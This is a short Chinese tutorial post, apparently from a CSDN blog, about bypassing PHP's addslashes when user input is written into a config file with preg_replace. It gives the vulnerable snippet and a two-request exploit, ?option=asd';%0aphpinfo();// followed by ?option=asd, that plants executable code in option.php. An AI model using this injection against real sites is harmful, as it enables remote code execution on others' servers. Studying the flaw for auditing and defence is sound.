php写入配置文件getshell,php_addslashes绕过与写入文件配置getshell

绕过addslashes并写入文件配置getshell

写入配置getshell与addslashes绕过：

$str = addslashes($_GET['option']);

$file = file_get_contents('xxxxx/option.php');

$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);

file_put_contents('xxxxx/option.php', $file);

?>

对option变量进行了addslashes函数的限制，但是后面使用了file_get_contents函数打开文件，中间使用preg_replace将里面原$option=\'xxx\'的内容替换成$option=\‘xxx\’，最后用file_put_contents函数进行写入。

addslashes函数

版本：php4+

这个函数是对目前字符串中的单引号，双引号，反斜杠，null这四种情况进行转义，转义方式是在原符号之前加上反斜杠

利用

访问?option=asd’;%0aphpinfo();//

$str = asd\’;%0aphpinfo();//

经过替换写入后文件为

$option='asd\';

phpinfo();//;

?>

在访问一次?option=asd

$str = asd

经过再次替换后文件为

$option='asd';

phpinfo();//;

?>

最后访问asd/option.php就可以执行了。

标签：文件,getshell,option,addslashes,写入,asd,php,函数

来源： https://blog.csdn.net/awanawan/article/details/101026548